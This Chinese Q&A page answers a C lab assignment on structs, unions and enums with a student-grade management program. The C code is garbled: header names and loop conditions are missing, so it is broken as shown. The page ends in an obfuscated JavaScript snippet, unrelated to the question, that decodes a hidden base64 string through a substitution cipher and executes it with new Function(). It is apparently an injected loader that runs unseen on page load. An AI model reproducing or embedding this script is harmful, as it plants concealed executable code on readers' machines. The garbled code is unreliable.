实验三 自定义数据类型应用 一、实验目的 1.掌握结构体、共用体、枚举数据类型的定义和初始化;

2025-03-15 13:41:27
推荐回答(2个)
回答(1):

#include
#include
#include
int N; //学生个数
enum grade{A,B,C,D,E};//等级枚举
union userscore//成绩共用体
{
float scorevalue;//数值成绩
enum grade scale;//等级成绩
};
struct student//学生结构体
{
int num;
char name[20];
char classn[20];
union userscore English,Maths,Chinese,average;
};
void Interface()
{ printf("* * * 主界面 * * *\n");
printf("* 0: 退出系统 *\n");
printf("* 1:输入学生成绩 *\n");
printf("* 2:计算平均成绩 *\n");
printf("* 3:增加学生成绩 *\n");
printf("* 4:删除学生成绩 *\n");
printf("* 5:修改学生成绩 *\n");
printf("* 6:查找学生成绩 *\n");
printf("* 7:输出学生成绩 *\n");
printf("* * * * * * * * * *\n");
}
void Input(student stu[])//输入
{printf("请输入学生个数:");
scanf("%d",&N);
printf("请输入学号,姓名,班级,英语,数学,语文:\n");
for(int i=0;i{
scanf("%d %s %s %c %f %f",&stu[i].num,&stu[i].name,&stu[i].classn,
&stu[i].English.scale,&stu[i].Maths.scorevalue,&stu[i].Chinese.scorevalue);
}
}
void Output(student stu[])//输出
{
printf("学号\t姓名\t班级\t英语\t数学\t语文\t平均值\n");
for(int i=0;i{
printf("%d\t %s\t %s\t %c\t %5.2f\t %5.2f\t %5.2f\n",stu[i].num,stu[i].name,stu[i].classn,
stu[i].English.scale,stu[i].Maths.scorevalue,stu[i].Chinese.scorevalue,stu[i].average.scorevalue);
}
}
void Average(student stu[])//平均值
{
for(int i=0;i{
char a=stu[i].English.scale;
switch(a)
{
case 'A': stu[i].average.scorevalue=(90+stu[i].Maths.scorevalue+stu[i].Chinese.scorevalue)/3.0;break;
case 'B': stu[i].average.scorevalue=(80+stu[i].Maths.scorevalue+stu[i].Chinese.scorevalue)/3.0;break;
case 'C': stu[i].average.scorevalue=(70+stu[i].Maths.scorevalue+stu[i].Chinese.scorevalue)/3.0;break;
case 'D': stu[i].average.scorevalue=(60+stu[i].Maths.scorevalue+stu[i].Chinese.scorevalue)/3.0;break;
default: stu[i].average.scorevalue=(0+stu[i].Maths.scorevalue+stu[i].Chinese.scorevalue)/3.0;break;
}
}
}

void Insert(student stu[])//插入
{
printf("请输入要插入学生的学号,姓名,班级,英语,数学,语文:\n");
scanf("%d %s %s %c %f %f",&stu[N].num,&stu[N].name,&stu[N].classn,
&stu[N].English.scale,&stu[N].Maths.scorevalue,&stu[N].Chinese.scorevalue);
N++;//学生个数+1
}
void Delete(student stu[])//删除
{
int num,t,i=0,j;
printf("请输入要删除学生的学号: ");
scanf("%d",&num);
for(i=0;i{
if(stu[i].num==num)
{
printf("确定删除该同学吗?");
printf(" 1: 是\t 2: 否\n");
printf("请输入:");
scanf("%d",&t);
if(t==1)
{
for(j=i;j stu[j]=stu[j+1];
i--;
N--;//学生个数-1
printf("删除成功!\n");
break;
}
else
{
printf("删除失败!\n");
break;
}
}
}
if(i>=N)
printf("该学生不存在!\n");
}
void Revise(student stu[])//修改
{
int num,i=0;
char name[20];
char classn[20];
union userscore English,Maths,Chinese,average;
printf("请输入要修改学生的学号:\n");
scanf("%d",&num);
printf("请输入修改后的姓名,班级,英语,数学,语文:\n");
for(i=0;i{
if(stu[i].num==num)
{
scanf("%s %s %c %f %f",&name,&classn,
&English.scale,&Maths.scorevalue,&Chinese.scorevalue);
//stu[i].num=num;
strcpy(stu[i].name,name);
strcpy(stu[i].classn,classn);
stu[i].English.scale=English.scale;
stu[i].Maths.scorevalue=Maths.scorevalue;
stu[i].Chinese.scorevalue=Chinese.scorevalue;
printf("修改成功!\n");break;
}
}
if(i>=N)
printf("该学生不存在!\n");
}

void Search(student stu[])//查找
{
int num,i=0,j;
printf("请输入要查找学生的学号:\n");
scanf("%d",&num);
for(j=0;j{
if(stu[i].num!=num)
{
i++;
}
else
{ printf("查找成功!\n");
printf("学号\t姓名\t班级\t英语\t数学\t语文\n");
printf("%d\t %s\t %s\t %c\t %5.2f\t %5.2f\n",stu[i].num,stu[i].name,stu[i].classn,
stu[i].English.scale,stu[i].Maths.scorevalue,stu[i].Chinese.scorevalue);break;
}
}
if(i>=N)
printf("该学生不存在!\n");
}
int main()
{
struct student stu[10];
int flag;//flag用于接收用户输入的数字;
while(1)
{ Interface();//显示系统的菜单界面;
printf("请选择数字0~7: ");
scanf("%d",&flag);
switch(flag) //switch根据flag的值来调用相应的函数;
{ case 0: printf("退出系统!\n");exit(0);
break;//输入0,则退出系统;
case 1: Input(stu);
printf("输入成功!\n");
break;
case 2: printf("计算成功!\n");
Average(stu);
Output(stu);
break;
case 3: Insert(stu);
printf("插入后:\n");
Output(stu);
break;
case 4: Delete(stu);
break;
case 5: Revise(stu);
break;
case 6: Search(stu);
break;
case 7: printf("输出成功:\n");
Average(stu);
Output(stu);
break;
default: printf("输入有误!\n");//输入错误,输入数值必须为0~7
}
}
return 0;
}

回答(2):

这个写起来麻烦,太多了

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();